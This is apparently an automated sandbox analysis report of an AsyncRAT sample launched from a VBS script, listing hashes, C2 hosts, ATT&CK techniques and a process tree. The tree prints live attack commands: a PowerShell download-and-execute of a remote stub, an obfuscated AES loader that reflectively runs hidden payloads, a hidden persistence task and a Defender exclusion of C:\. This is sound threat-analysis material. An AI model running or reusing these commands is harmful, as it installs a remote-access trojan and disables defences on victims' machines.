asyncrat | 1034cb1effff3e411b07d3d8a318b5b6d4164d3feea9151c857715abd8ee2f9e

Analysis

max time kernel
178s
max time network
255s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09-12-2024 20:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1821_output.vbs
Size

61KB
MD5

6943e4c37b93c2a81a98a81e36d2d5ce
SHA1

ad2ba17165344f88b6bf0befaac528feb8a3280f
SHA256

57bf3620d73728f07bed5cd48af70ca89dc70721b62c084f5f0feebed7f81a4f
SHA512

78034880a195d5dc7729a6c7631a660f9945dd368a86b50b458e70e0191a7953ba47435c242c94ce8548832e4920e08949fcb1aa099d5d7b927da9bc9b69cf80
SSDEEP

768:ni1+nYY2MDjo2CLlIbkrMvrIzkoILj2AA3drdg8KCklQCdUq13ZZIwX+Ay6Iwcgh:iXvlIkgvrWC3ASCk0q13HX+C9czhG

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

jt8iyre.localto.net:55644

jt8iyre.localto.net:2101

Mutex

WzRdrlEJS302

Attributes

delay
3
install
false
install_file
dwmm.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/memory/4076-123-0x00000000067E0000-0x00000000067F2000-memory.dmp	family_asyncrat

Blocklisted process makes network request 5 IoCs

flow	pid	Process
13	4684	powershell.exe
46	4076	powershell.exe
47	4076	powershell.exe
51	4076	powershell.exe
52	4076	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4684	powershell.exe
3592	powershell.exe
5072	powershell.exe
3348	powershell.exe
4076	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
312	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4684	powershell.exe
4684	powershell.exe
3592	powershell.exe
3592	powershell.exe
5072	powershell.exe
5072	powershell.exe
3348	powershell.exe
3348	powershell.exe
4076	powershell.exe
4076	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4684	powershell.exe
Token: SeDebugPrivilege	3592	powershell.exe
Token: SeDebugPrivilege	312	taskkill.exe
Token: SeDebugPrivilege	5072	powershell.exe
Token: SeDebugPrivilege	3348	powershell.exe
Token: SeIncreaseQuotaPrivilege	3348	powershell.exe
Token: SeSecurityPrivilege	3348	powershell.exe
Token: SeTakeOwnershipPrivilege	3348	powershell.exe
Token: SeLoadDriverPrivilege	3348	powershell.exe
Token: SeSystemProfilePrivilege	3348	powershell.exe
Token: SeSystemtimePrivilege	3348	powershell.exe
Token: SeProfSingleProcessPrivilege	3348	powershell.exe
Token: SeIncBasePriorityPrivilege	3348	powershell.exe
Token: SeCreatePagefilePrivilege	3348	powershell.exe
Token: SeBackupPrivilege	3348	powershell.exe
Token: SeRestorePrivilege	3348	powershell.exe
Token: SeShutdownPrivilege	3348	powershell.exe
Token: SeDebugPrivilege	3348	powershell.exe
Token: SeSystemEnvironmentPrivilege	3348	powershell.exe
Token: SeRemoteShutdownPrivilege	3348	powershell.exe
Token: SeUndockPrivilege	3348	powershell.exe
Token: SeManageVolumePrivilege	3348	powershell.exe
Token: 33	3348	powershell.exe
Token: 34	3348	powershell.exe
Token: 35	3348	powershell.exe
Token: 36	3348	powershell.exe
Token: SeIncreaseQuotaPrivilege	3348	powershell.exe
Token: SeSecurityPrivilege	3348	powershell.exe
Token: SeTakeOwnershipPrivilege	3348	powershell.exe
Token: SeLoadDriverPrivilege	3348	powershell.exe
Token: SeSystemProfilePrivilege	3348	powershell.exe
Token: SeSystemtimePrivilege	3348	powershell.exe
Token: SeProfSingleProcessPrivilege	3348	powershell.exe
Token: SeIncBasePriorityPrivilege	3348	powershell.exe
Token: SeCreatePagefilePrivilege	3348	powershell.exe
Token: SeBackupPrivilege	3348	powershell.exe
Token: SeRestorePrivilege	3348	powershell.exe
Token: SeShutdownPrivilege	3348	powershell.exe
Token: SeDebugPrivilege	3348	powershell.exe
Token: SeSystemEnvironmentPrivilege	3348	powershell.exe
Token: SeRemoteShutdownPrivilege	3348	powershell.exe
Token: SeUndockPrivilege	3348	powershell.exe
Token: SeManageVolumePrivilege	3348	powershell.exe
Token: 33	3348	powershell.exe
Token: 34	3348	powershell.exe
Token: 35	3348	powershell.exe
Token: 36	3348	powershell.exe
Token: SeIncreaseQuotaPrivilege	3348	powershell.exe
Token: SeSecurityPrivilege	3348	powershell.exe
Token: SeTakeOwnershipPrivilege	3348	powershell.exe
Token: SeLoadDriverPrivilege	3348	powershell.exe
Token: SeSystemProfilePrivilege	3348	powershell.exe
Token: SeSystemtimePrivilege	3348	powershell.exe
Token: SeProfSingleProcessPrivilege	3348	powershell.exe
Token: SeIncBasePriorityPrivilege	3348	powershell.exe
Token: SeCreatePagefilePrivilege	3348	powershell.exe
Token: SeBackupPrivilege	3348	powershell.exe
Token: SeRestorePrivilege	3348	powershell.exe
Token: SeShutdownPrivilege	3348	powershell.exe
Token: SeDebugPrivilege	3348	powershell.exe
Token: SeSystemEnvironmentPrivilege	3348	powershell.exe
Token: SeRemoteShutdownPrivilege	3348	powershell.exe
Token: SeUndockPrivilege	3348	powershell.exe
Token: SeManageVolumePrivilege	3348	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 3988 wrote to memory of 620	3988	WScript.exe	82
PID 3988 wrote to memory of 620	3988	WScript.exe	82
PID 620 wrote to memory of 4684	620	cmd.exe	84
PID 620 wrote to memory of 4684	620	cmd.exe	84
PID 4684 wrote to memory of 1952	4684	powershell.exe	87
PID 4684 wrote to memory of 1952	4684	powershell.exe	87
PID 1952 wrote to memory of 3148	1952	csc.exe	90
PID 1952 wrote to memory of 3148	1952	csc.exe	90
PID 4684 wrote to memory of 1888	4684	powershell.exe	91
PID 4684 wrote to memory of 1888	4684	powershell.exe	91
PID 3988 wrote to memory of 3164	3988	WScript.exe	103
PID 3988 wrote to memory of 3164	3988	WScript.exe	103
PID 3164 wrote to memory of 5072	3164	cmd.exe	105
PID 3164 wrote to memory of 5072	3164	cmd.exe	105
PID 3164 wrote to memory of 5072	3164	cmd.exe	105
PID 5072 wrote to memory of 3348	5072	powershell.exe	106
PID 5072 wrote to memory of 3348	5072	powershell.exe	106
PID 5072 wrote to memory of 3348	5072	powershell.exe	106
PID 5072 wrote to memory of 3320	5072	powershell.exe	109
PID 5072 wrote to memory of 3320	5072	powershell.exe	109
PID 5072 wrote to memory of 3320	5072	powershell.exe	109
PID 3320 wrote to memory of 2284	3320	WScript.exe	110
PID 3320 wrote to memory of 2284	3320	WScript.exe	110
PID 3320 wrote to memory of 2284	3320	WScript.exe	110
PID 2284 wrote to memory of 4076	2284	cmd.exe	112
PID 2284 wrote to memory of 4076	2284	cmd.exe	112
PID 2284 wrote to memory of 4076	2284	cmd.exe	112

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1821_output.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (iwr -Uri https://emptyservices.xyz/stub.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4684
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nef4ydwg\nef4ydwg.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1952
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDA81.tmp" "c:\Users\Admin\AppData\Local\Temp\nef4ydwg\CSC771CBA88976D4B83AF64BA54526EC15.TMP"
        5⤵
        
        PID:3148
  - - C:\windows\system32\cmstp.exe
      "C:\windows\system32\cmstp.exe" /au C:\windows\temp\z03lfoaf.inf
      4⤵
      PID:1888
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3164
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Local\Temp\c.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5072
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_318_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\latencyx318.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3348
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\latencyx318.vbs"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3320
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\latencyx318.bat" "
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2284
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function fn1($p1){ $a=[System.Security.Cryptography.Aes]::Create(); $a.Mode=[System.Security.Cryptography.CipherMode]::CBC; $a.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $a.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('przvDUO3TwKRjvdqBS3ijZmAMoLKmapNSNZNxjSSlQU='); $a.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j86NpELwD0eEb75+pqv1Rw=='); $d=$a.CreateDecryptor(); $r=$d.TransformFinalBlock($p1, 0, $p1.Length); $d.Dispose(); $a.Dispose(); $r;}function fn2($p2){ $m1=New-Object System.IO.MemoryStream(,$p2); $m2=New-Object System.IO.MemoryStream; $g=New-Object System.IO.Compression.GZipStream($m1, [IO.Compression.CompressionMode]::Decompress); $g.CopyTo($m2); $g.Dispose(); $m1.Dispose(); $m2.Dispose(); $m2.ToArray();}function fn3($p3, $p4){ $a1=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$p3); $e=$a1.EntryPoint; $e.Invoke($null, $p4);}$p='C:\Users\Admin\AppData\Roaming\latencyx318.bat';$host.UI.RawUI.WindowTitle = $p;$c=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($p).Split([Environment]::NewLine);foreach ($l in $c) { if ($l.StartsWith(':: ')) { $pl=$l.Substring(3); break; }}$pdata=[string[]]$pl.Split('\');$p1=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[0])));$p2=fn2 (fn1 ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($pdata[1])));fn3 $p1 $null;fn3 $p2 (,[string[]] (''));
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4076

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3592

C:\Windows\system32\taskkill.exe
taskkill /IM cmstp.exe /F
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:312

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
9751fcb3d8dc82d33d50eebe53abe314

SHA1
7a680212700a5d9f3ca67c81e0e243834387c20c

SHA256
ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7

SHA512
54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
82897058e67bf2a4da39a55975d39a87

SHA1
210cc7033a2acf3cf8220d703411f5053820cd3d

SHA256
d9ccab4c058674fd1f4f716724fbc086a0ea6dd9a12428c109add4fd4650b50f

SHA512
3f1e84e6433ea876b6daf2b4c81a1ac54c3ffbc5a071d3d954856a0ea5b88c070ecdb4d5d03a3720e915e1eb8db204094ba5689a54082d7a55a3b5d762de35e6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
855B

MD5
acb627ab62be9be36fcf9fc211bf8f47

SHA1
62bc6663eaee2abd86af8a163cb68f73b4e2f4ed

SHA256
cc1dd172c21ca2177f00117d28aacb22d3c9850b223690354c143b8b3234a5df

SHA512
d73377b9660dc2c045bac16f3955ea32a9a0ca49ed47bee0d10e01578ef327d83dc7fc53f3777099b95c39dba30c37153f8bc480c6ebd02ba61971ad93d23945

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c79e6d35339297b2926dff7c7f93d32a

SHA1
78aefdbce8c9581911cbc95981b0e72b821a0c2d

SHA256
a54c53853bbf5eb213fd5a0eb662f7f59fcf802e29f0a7bf453d48d7446557a6

SHA512
33204ceaf7e2e279a36bc92757fc656d5557635288f374b3257394189c5a8f50938c3feffdf1d8fc5006030069c3d7c8f41b29b372ec6c8978869b3be0ba0aca

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESDA81.tmp

Filesize
1KB

MD5
902b0b931272a30645db4cc1d55f8a08

SHA1
717413254e6fc5838ba428c4005a34b5bd68cd9c

SHA256
608eb5ee6ab69dd9a517a579b3550721a9a54e0125a02147bf1f539abef3fbd7

SHA512
40705e1408a0b914160fa47b3d242c87dc88d244c7c5ada2cc329a8b0f422ff1724835d776032527955523b568091d6fe0eb7c13e45f3c823f9562148c4c1d6e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ch5zloej.wja.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\c.bat

Filesize
53KB

MD5
5658af2134929280550a46a39d5d1254

SHA1
757ce11f87e3886b0320fca0bd6bf1f26968a25e

SHA256
942cc99875f60e2aef139a7d8e8341409d2dd4625573f32cbe292124838cdeed

SHA512
e7ac74d0f9182d563dcb5765c160bec3ea4ede13a0a2612bafc5c8451393f3646430c340df57f1ad02807d9b610f55da0db2c67d531de21e91c21ebfe3cea1c8

Download Submit
C:\Users\Admin\AppData\Local\Temp\nef4ydwg\nef4ydwg.dll

Filesize
4KB

MD5
cc8f901c7a282efe6875cd1ddadd5270

SHA1
9fee68d4f566a76148b2ecef998d2ec59a917d33

SHA256
c6f4ad0452f15fc551e8ac9844301dc9597dace9a283dfed37774c9a21b30cf0

SHA512
a94b0f1fca907886a2492c265346bb734d43f6f113e4542d32ed8665d07c5cded5774175fce683030be5c583d828a3a86c61871063d256a05a9ee465e85cc4fe

Download Submit
C:\Users\Admin\AppData\Roaming\latencyx318.vbs

Filesize
111B

MD5
1a3a9c02b2b8ec3d218a243b1b56a167

SHA1
7acdc6a1336d94eb5ff6634f312fe6fb74b50ed4

SHA256
ba61e9ba1530b9f91dfe0711002b170791c8356173bcd34f594c6999f3e475c3

SHA512
812d46433941c4ff0a696b001e92165ec2edf828a622874772d433a330d7486762278f12a7c5474b4cf4bad8f4be13a0e862587f4b34403505406955242edd7e

Download Submit
C:\windows\temp\z03lfoaf.inf

Filesize
683B

MD5
a4fd12b94ad4ac06fabd8dd56dd5ff2b

SHA1
940d129205e04ba31b10a72d7a7a236a9ed0488b

SHA256
fe9977d49d2ae366779da959a5c9a6cc7664bc82d7c8e243f1baa9aa539cd320

SHA512
a4712ad7a23ab7a1eadfdaa7dc73dc406a0a14313c0413561f2f4ba8087c79c504d1d4391585b1b91f580ffef3869a37523707979dd5ab870a596062497e79fe

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\nef4ydwg\CSC771CBA88976D4B83AF64BA54526EC15.TMP

Filesize
652B

MD5
bf77b53b6736c639d6932fa389dd39de

SHA1
b599c9c2518eb51a74ffdebfcfafa9d6766e195f

SHA256
39063d392c3fe6c6252a75077e99ff6c60d15c6c760721b7b4abf5702d0d1801

SHA512
95b925732b1d986e5ee77e87ae938c12bc698681367ed7f4858d204e46ca0aa2729793d3ac63cf993edb13679effa3324c8f70816d16e68383869ba49316b11e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\nef4ydwg\nef4ydwg.0.cs

Filesize
2KB

MD5
897ac4306f2a2524bc3c441bd00c72b9

SHA1
1703dbf9a2a78491dfd6685540d4691839e33b69

SHA256
a889dd1616631e369d253d6d89cc3a253b663e636bb1cdebbf831817592b405b

SHA512
2eba96a7960fe4c8c083ffbca30dbff4c5aac6acfa2c99b6ab5802376d028cbf471c3f06fcef9a3a0129dc988df1aceba808c3436cd110c123dc2ba1147c81b6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\nef4ydwg\nef4ydwg.cmdline

Filesize
369B

MD5
771da4be30c89bd89dccd166b710ab5e

SHA1
6c7410d453cde6d748a85dbed5af54ef27baf79c

SHA256
2b2d7b04ac200b3e57803a9ba83ec3128f802b7bada6b9498bac213edbc0572b

SHA512
5de0a6c4fbc2283b08053eb42ed754886032cff6c2ddbb8765ee56eccca625835a82b50fc82c17d5e439b8f1a39a710a778c5b48e8ab111cd26bef7bb45396ac

Download Submit
memory/3348-88-0x0000000071230000-0x000000007127C000-memory.dmp

Filesize
304KB

Download
memory/3348-102-0x0000000006FA0000-0x0000000006FB1000-memory.dmp

Filesize
68KB

Download
memory/3348-87-0x0000000006C00000-0x0000000006C32000-memory.dmp

Filesize
200KB

Download
memory/3348-99-0x0000000006C70000-0x0000000006D13000-memory.dmp

Filesize
652KB

Download
memory/3348-100-0x0000000006E10000-0x0000000006E1A000-memory.dmp

Filesize
40KB

Download
memory/3348-101-0x0000000007020000-0x00000000070B6000-memory.dmp

Filesize
600KB

Download
memory/3348-98-0x0000000006C40000-0x0000000006C5E000-memory.dmp

Filesize
120KB

Download
memory/4076-127-0x0000000007D60000-0x0000000007D7E000-memory.dmp

Filesize
120KB

Download
memory/4076-125-0x00000000080D0000-0x0000000008146000-memory.dmp

Filesize
472KB

Download
memory/4076-128-0x00000000081F0000-0x0000000008282000-memory.dmp

Filesize
584KB

Download
memory/4076-123-0x00000000067E0000-0x00000000067F2000-memory.dmp

Filesize
72KB

Download
memory/4076-126-0x0000000008050000-0x00000000080B8000-memory.dmp

Filesize
416KB

Download
memory/4684-12-0x00007FFFAEA10000-0x00007FFFAF4D1000-memory.dmp

Filesize
10.8MB

Download
memory/4684-11-0x00007FFFAEA10000-0x00007FFFAF4D1000-memory.dmp

Filesize
10.8MB

Download
memory/4684-6-0x0000024E5B9F0000-0x0000024E5BA12000-memory.dmp

Filesize
136KB

Download
memory/4684-13-0x0000024E5C4B0000-0x0000024E5C4CC000-memory.dmp

Filesize
112KB

Download
memory/4684-44-0x00007FFFAEA10000-0x00007FFFAF4D1000-memory.dmp

Filesize
10.8MB

Download
memory/4684-26-0x0000024E5C520000-0x0000024E5C528000-memory.dmp

Filesize
32KB

Download
memory/4684-48-0x00007FFFAEA10000-0x00007FFFAF4D1000-memory.dmp

Filesize
10.8MB

Download
memory/4684-0-0x00007FFFAEA13000-0x00007FFFAEA15000-memory.dmp

Filesize
8KB

Download
memory/4684-43-0x00007FFFAEA13000-0x00007FFFAEA15000-memory.dmp

Filesize
8KB

Download
memory/5072-57-0x00000000055F0000-0x0000000005656000-memory.dmp

Filesize
408KB

Download
memory/5072-76-0x0000000008070000-0x0000000008614000-memory.dmp

Filesize
5.6MB

Download
memory/5072-75-0x0000000007000000-0x000000000700E000-memory.dmp

Filesize
56KB

Download
memory/5072-74-0x0000000006EE0000-0x0000000006F7C000-memory.dmp

Filesize
624KB

Download
memory/5072-73-0x0000000006DF0000-0x0000000006DF8000-memory.dmp

Filesize
32KB

Download
memory/5072-72-0x0000000006DC0000-0x0000000006DDA000-memory.dmp

Filesize
104KB

Download
memory/5072-71-0x0000000007440000-0x0000000007ABA000-memory.dmp

Filesize
6.5MB

Download
memory/5072-70-0x0000000005CE0000-0x0000000005D2C000-memory.dmp

Filesize
304KB

Download
memory/5072-69-0x0000000005C50000-0x0000000005C6E000-memory.dmp

Filesize
120KB

Download
memory/5072-67-0x0000000005660000-0x00000000059B4000-memory.dmp

Filesize
3.3MB

Download
memory/5072-56-0x0000000005450000-0x00000000054B6000-memory.dmp

Filesize
408KB

Download
memory/5072-55-0x00000000053B0000-0x00000000053D2000-memory.dmp

Filesize
136KB

Download
memory/5072-54-0x0000000004D20000-0x0000000005348000-memory.dmp

Filesize
6.2MB

Download
memory/5072-53-0x00000000046B0000-0x00000000046E6000-memory.dmp

Filesize
216KB

Download